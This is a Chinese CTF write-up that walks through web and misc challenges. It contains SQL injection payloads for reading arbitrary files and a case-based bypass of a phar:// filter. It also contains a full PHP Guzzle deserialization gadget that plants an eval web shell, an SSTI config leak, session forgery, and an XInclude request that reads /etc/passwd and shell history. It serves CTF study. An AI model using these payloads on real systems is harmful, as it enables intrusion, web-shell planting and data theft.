To begin with
鸽了博客快有有两个月了,这次重点记录下babyt2的赛后复现学习过程..
Web
Babyyt2
link:http://58.20.46.147:21132
- yii 开发,主要功能包括注册,登录,上传,查看
- 上传文件目录不可读,需要通过查看访问,猜测有读文件的函数
- 有 readme.md, 其中有一个 filepath 字段,那么文件路径可能涉及到 SQLi
CREATE TABLE IF NOT EXISTS "users" (
"id" integer PRIMARY KEY AUTOINCREMENT NOT NULL,
"username" char(1024) NOT NULL,
"password" char(1024) NOT NULL,
"filepath" varchar(1024)
);
- 上传文件需要提供一个参数 name,上传成功后会在 name 后追加扩展名显示在前端,可注入。单用户单条 filepath,应该是 update。尝试
1234123',filepath='/etc/apache2/sites-enabled/000-default.conf' where username="xmsec"#
可拿到配置文件,同时支持堆叠查询,只是没有写权限。
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html/You_Cant_Gu3ss/web
- dump 源码,首先读
123',filepath='/var/www/html/You_Cant_Gu3ss/controllers/UsersController.php' where username='xmsec'#
核心代码:
<?php
namespace app\controllers;
use Yii;
use app\models\Users;
use app\models\UsersSearch;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\filters\VerbFilter;
use app\models\UploadForm;
use yii\web\UploadedFile;
/**
* UsersController implements the CRUD actions for Users model.
*/
class UsersController extends Controller
{
public function actionFile()
{
if (!Yii::$app->session->get('id')) {
return $this->redirect(['site/index']);
}
$model = new UploadForm();
if (Yii::$app->request->isPost) {
$model->imageFile = UploadedFile::getInstance($model, 'imageFile');
$model->name = Yii::$app->request->post('UploadForm')['name'];
if ($path = $model->upload()) {
$filename = $path;
$sql = 'update users set filepath = \''.$filename.'\' where id = '.Yii::$app->session->get('id');
Yii::$app->db->createCommand($sql)->execute();
\Yii::$app->getSession()->setFlash('success', "File upload Success! path is ../uploads/".$model->name.'.'.$model->imageFile->extension);
return $this->render('file', ['model' => $model]);
}
}
return $this->render('file', ['model' => $model]);
}
public function actionShow(){
if (!Yii::$app->session->get('id')) {
return $this->redirect(['site/index']);
}
$model = Users::find()->where(['id'=>Yii::$app->session->get('id')])->one();
if (!$model->filepath){
\Yii::$app->getSession()->setFlash('error', "You should upload your image first");
return $this->redirect(['file']);
}
if (substr($model->filepath, 0,7)=='phar://') {
\Yii::$app->getSession()->setFlash('error', "no phar! ");
return $this->redirect(['file']);
}
$content = @file_get_contents($model->filepath);
header("Content-Type: image/jpeg;text/html; charset=utf-8");
echo $content;
exit;
}
}
其中,判断了 filepath 是不是以 phar:// 开头,但 wrapper 不区分大小写。
例如:
readfile("PHP://FILTER/convert.BASE64-ENCODE/resource=/etc/hostname");
readfile("FILE:///etc/hostname");
- 提示 guzzle,在 composer.json 中得到 guzzle 的版本
"guzzlehttp/guzzle":"6.0.0"
在 GitHub 找到 gadget ,存在一个任意文件写,考虑直接写 shell - 探测可写目录,webroot/../upload,可写但不可访问。其次有一个 webroot/assets/ 可写(真的秀)
- 利用 Phar 或者 cookie 打入 payload。cookie 可以根据 guzzle 源码处理 cookie 时有一个反序列化函数嵌入 payload。
附一航师傅的 Phar payload
<?php
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;
$payload = '<?php eval($_REQUEST[1])?>';
$obj = new FileCookieJar('/var/www/html/You_Cant_Gu3ss/web/assets/lilac.php');
$c = new SetCookie([
'Name' => 'foo',
'Value' => 'bar',
'Domain' => $payload,
'Expires' => time()+0x100,
'Discard' => false,
]);
$obj->setCookie($c);
$data = serialize($obj);
print_r($data);
file_put_contents("poc.dat", $data);
$phar_filename = "lilac.phar";
@unlink($phar_filename);
$phar = new Phar($phar_filename);
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($obj);
$phar->addFromString("lilac", "lilac");
$phar->stopBuffering();
之后触发 file_get_contents UploadForm[name]=1',filepath='Phar:///var/www/html/You_Cant_Gu3ss/uploads/xxx.jpg/xxx',username='xxx
ref
shadow
队友首先发现有 ssti,过滤了(),根据之前 blog 拿出 payload 测试。
首先 url_for.__globals__['current_app'].config
可读到 secret key,使用 key 伪造 admin 身份。
{u'csrf_token': 'ImRkMDAzZjY4ZjdjNDIxY2FkYzE0ZDk1YmEzMTEyYzJlMjRhYWIwNzYi.XANqtw.MR8_jSJcm_qxjNN_7c-cGEMLZoo', u'user_id': u'191', u'name': u'xmsec', u'_fresh': True, u'is_admin': True, u'_id': 'b2adb8af91675d1d6d117e104d1b1207923a609487542ba156c1cdb9a084363319941f769675f05025e632086899ee71700be94fe5fc5c29de12c2bda73e9351'}
伪造后可发现有一个上传接口。
上传文件,在 burp 中查看请求,发现提示 Content-Disposition: form-data; name="xml";
猜测 xxe,最后通过构造 xinclude 形式的 payload,读到 /etc/passwd,然后读 /home/rq/.bash_history,根据里面信息 cat f123333333ag
,得到 flag 文件名。
读flag
POST /upload HTTP/1.1
Host: 58.20.46.150:25524
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://58.20.46.150:25524/upload
Cookie: session=.eJw9kM2OgjAYAF9l07MHEDGriQcTCpFsPyIUSnshgCi2oCzo8mN89zUmuy8wmZkHSo5t0ZVofWvvxQwl5wNaP9BHhtaIS7cUzm7BGTcJ5Qaw_SAsoQjFhqC4B2c_cIlHYuUmkVCC3JpgnQyg-5HXeAAqJGGguKxKYp00MvGJTNj06Isj87n3ZvIe6HYEFs7JtOs9iy88WlWC5gNM257XoQmOqIAJCYyMHvMrQl1Jaldxmk-Cqgko3qDnDOVde0xuV1Vc_hMCpgeppuN93KRppTRWNypVJg7iUhAlWhY3NrEbnE62yMJoSSPfLqJqGdQDpJV7ZdHBPWjmkjF1Z9j28tg3vpQeePbqO9QamUWroXCal_GnwUdd-loE1G5-sn7zVjp3SXqoz5e_vZe0Ll5aQ90VOZqhe1e07-NIX-no-QuUK4Ow.W-lhLA.FS3DBks0CIAnijnNIqxfwfklPJ8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------6721253476467238091072320396
Content-Length: 732
-----------------------------6721253476467238091072320396
Content-Disposition: form-data; name="xml"; filename="123.xml"
Content-Type: text/xml
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///home/rq/f123333333ag" parse="text"/>
</root>
······
Misc
hack1t1
vmx tool
在 vmx 添加一个外部启动
sata0:1.deviceType = "cdrom-image"
sata0:1.fileName = "E:\kali-linux-2018.1-amd64.iso"
sata0:1.present = "TRUE"
usb.present = "TRUE" # USB开启
进入系统后管理磁盘
( vmx tool 中需要更改一下正则表达式大小写)
ref:https://delcoding.github.io/2018/12/pcb-writeup/
What's_this
- 拿到 jpg 文件后,binwalk 发现有一个 zip 文件,提取可得。
- 解压 zip 文件,得到 .docx .what .zip 三个文件,其中 zip 被加密。可利用 docx 中隐藏文字明文攻击拿到 zip2 密码 Hello_Hi,之后通过 lsb 加密隐写,即使用 cloacked-pixel 提取,密码也是 Hello_Hi。
- 此时得到两个 zip, zip3,zip4。其中 zip3 的内部文件只有四个字节,使用脚本爆破
或使用hashcat -a 3 -m 11500 -D 2 --force --increment --increment-min 4 --increment-max 6 99bed60e:00000000 "?a?a?a?a?a?a" --show
crc32 爆破其中一个 4 字节文件得到文件内容为 girl,可解开 zip4,从而得到 fakeflag。 - 至此基本连续的线索都断掉了。观察发现 zip4.zip 文件末尾添加了很多 00,另外在 docx 文件的 media 目录中有一个 I_Love_You.emf 无法打开,两个文件大小相同,且 emf 文件末尾存在标识符 PK 刚好与 zip4 末尾 00 错位重合。考虑异或。
#coding=utf8
with open("I_Love_You.emf","rb") as f1:
data1=f1.read()
with open("zip4.zip","rb") as f2:
data2=f2.read()
data=""
for i in range(len(data1)):
data+=chr(ord(data1[i])^ord(data2[i]))
with open("out.zip","wb") as f:
f.write(data)
得到的压缩包有密码,使用 girl 解压得到 flag。